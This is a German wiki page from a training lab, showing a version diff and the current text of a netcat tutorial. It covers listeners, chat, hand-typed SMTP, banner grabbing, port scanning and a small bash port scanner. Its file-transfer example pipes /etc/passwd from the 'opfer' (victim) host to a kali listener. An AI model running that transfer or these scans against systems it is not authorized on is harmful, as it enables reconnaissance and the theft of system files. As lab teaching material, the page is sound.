Netcat Basics: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(15 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=Listen=
+
= netcat (nc) – Basics =
=Chat=
 
;auf kali
 
*nc -l -p 6789
 
;auf kali
 
*ss -lntp | grep 6789
 
  
 +
'''netcat''' ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen.
  
=Chat=
+
; Hinweis zur Variante
;auf kali
+
: Beispiele hier mit ''nc.traditional'' (<code>-l -p</code>). Bei OpenBSD-''nc'' (Kali-Default) lautet der Listener nur <code>nc -l 6789</code> – dort ist <code>-p</code> der Quellport. <code>-z</code>/<code>-w</code> gibt es bei OpenBSD-nc, nicht bei ''ncat''.
*nc -l -p 6789  
 
;auf kali
 
*nc red 6789
 
  
=Filetransfer=
+
== Listener prüfen ==
;auf red
 
*nc -l -p 6789 > /tmp/passwd
 
;auf yen
 
*cat /etc/passwd | nc red 6789
 
=Connect a Mailserver=
 
;auf yun
 
*nc red 25
 
220 red ESMTP Postfix (Ubuntu)
 
=Scan=
 
;auf yun
 
*netcat -w 1 -z red 9999 ; echo $?
 
0
 
;erfolgreich
 
*netcat -w 1 -z red 9999 ; echo $?
 
1
 
;nicht erfolgreich
 
  
=Scan von Port 22 bis Port 80=
+
<pre>
*netcat -z -v  10.0.10.103 22-80
+
# auf kali: lauschen
 +
nc -l -p 6789
 +
 
 +
# auf kali: läuft der Listener?
 +
ss -lntp | grep 6789
 +
</pre>
 +
 
 +
== Chat ==
 +
 
 +
<pre>
 +
# lokal (zwei Terminals auf kali)
 +
nc -l -p 6789          # Server
 +
nc kali 6789          # Client
 +
 
 +
# übers Netz
 +
nc -l -p 6789          # auf kali
 +
nc kali 6789          # auf opfer
 +
</pre>
 +
 
 +
== Filetransfer ==
 +
 
 +
<pre>
 +
nc -l -p 6789 > /tmp/passwd          # auf kali (Empfänger)
 +
cat /etc/passwd | nc kali 6789      # auf opfer (Sender)
 +
</pre>
 +
 
 +
== Mailserver verbinden ==
 +
 
 +
SMTP von Hand sprechen:
 +
 
 +
<pre>
 +
nc -C mail.tcpdump.de 25
 +
</pre>
 +
 
 +
220 mail.tcpdump.de ESMTP Postfix (Ubuntu)
 +
'''ehlo kit.de'''
 +
250 ...
 +
'''mail from: kit13@kit.de'''
 +
250 2.1.0 Ok
 +
'''rcpt to: thomas@xinux.de'''
 +
250 2.1.5 Ok
 +
'''data'''
 +
354 End data with <CR><LF>.<CR><LF>
 +
'''Subject: testmail vom kit'''
 +
(Leerzeile)
 +
'''Hallo Thomas, Gruss vom Kit'''
 +
'''.'''
 +
250 2.0.0 Ok: queued
 +
'''quit'''
 +
221 2.0.0 Bye
 +
 
 +
== Bannergrabbing ==
 +
 
 +
<pre>
 +
# Webserver (HTTP/1.0, kein Host-Header nötig)
 +
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
 +
# -> Server: Apache/2.4.29 (Ubuntu)
 +
oder
 +
echo -e  'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
 +
# -> Server: Apache/2.4.29 (Ubuntu)
 +
 
 +
# SSH (Banner kommt sofort)
 +
nc opfer 22 | head -1
 +
# -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
 +
 
 +
echo -e 'SSH-2.0-OpenSSH_7.6p1 Ubuntu-4\r\n\r\n' | nc opfer 22                  
 +
 
 +
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
 +
4�.:�
 +
    *�9S��b:(�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.comlchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1none,zlib@openssh.comnone,zlib@openssh.com^C
 +
 
 +
</pre>
 +
 
 +
== Portscan ==
 +
 
 +
<pre>
 +
# einzelner Port: Exit-Code 0 = offen, 1 = zu
 +
nc -w 1 -z opfer 9999 ; echo $?
 +
 
 +
# Bereich, verbose
 +
nc -z -v opfer 22-80
 +
</pre>
 +
 
 +
opfer [10.0.10.104] 80 (http) open
 +
opfer [10.0.10.104] 25 (smtp) open
 +
  opfer [10.0.10.104] 22 (ssh) open
 +
 
 +
== Eigener Scanner ==
 +
 
 +
<pre>
 +
#!/bin/bash
 +
HOST=$1
 +
START=$2
 +
STOP=$3
 +
for ((i=START; i<=STOP; i++)); do
 +
    if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then
 +
        echo "$HOST $i open"
 +
    fi
 +
done
 +
</pre>
 +
 
 +
<pre>
 +
./scan opfer 20 100
 +
</pre>
 +
 
 +
== Siehe auch ==
 +
 
 +
* [[Ss]]
 +
* [[Ip addr]]

Aktuelle Version vom 16. Juni 2026, 08:25 Uhr

netcat (nc) – Basics

netcat ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen.

Hinweis zur Variante
Beispiele hier mit nc.traditional (-l -p). Bei OpenBSD-nc (Kali-Default) lautet der Listener nur nc -l 6789 – dort ist -p der Quellport. -z/-w gibt es bei OpenBSD-nc, nicht bei ncat.

Listener prüfen

# auf kali: lauschen
nc -l -p 6789

# auf kali: läuft der Listener?
ss -lntp | grep 6789

Chat

# lokal (zwei Terminals auf kali)
nc -l -p 6789          # Server
nc kali 6789           # Client

# übers Netz
nc -l -p 6789          # auf kali
nc kali 6789           # auf opfer

Filetransfer

nc -l -p 6789 > /tmp/passwd          # auf kali (Empfänger)
cat /etc/passwd | nc kali 6789       # auf opfer (Sender)

Mailserver verbinden

SMTP von Hand sprechen:

nc -C mail.tcpdump.de 25
220 mail.tcpdump.de ESMTP Postfix (Ubuntu)
ehlo kit.de
250 ...
mail from: kit13@kit.de
250 2.1.0 Ok
rcpt to: thomas@xinux.de
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
Subject: testmail vom kit
(Leerzeile)
Hallo Thomas, Gruss vom Kit
.
250 2.0.0 Ok: queued
quit
221 2.0.0 Bye

Bannergrabbing

# Webserver (HTTP/1.0, kein Host-Header nötig)
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)
oder 
echo -e  'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)

# SSH (Banner kommt sofort)
nc opfer 22 | head -1
# -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4

echo -e 'SSH-2.0-OpenSSH_7.6p1 Ubuntu-4\r\n\r\n' | nc opfer 22                   

SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
4�.:�
     *�9S��b:(�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.comlchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1none,zlib@openssh.comnone,zlib@openssh.com^C

Portscan

# einzelner Port: Exit-Code 0 = offen, 1 = zu
nc -w 1 -z opfer 9999 ; echo $?

# Bereich, verbose
nc -z -v opfer 22-80
opfer [10.0.10.104] 80 (http) open
opfer [10.0.10.104] 25 (smtp) open
opfer [10.0.10.104] 22 (ssh) open

Eigener Scanner

#!/bin/bash
HOST=$1
START=$2
STOP=$3
for ((i=START; i<=STOP; i++)); do
    if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then
        echo "$HOST $i open"
    fi
done
./scan opfer 20 100

Siehe auch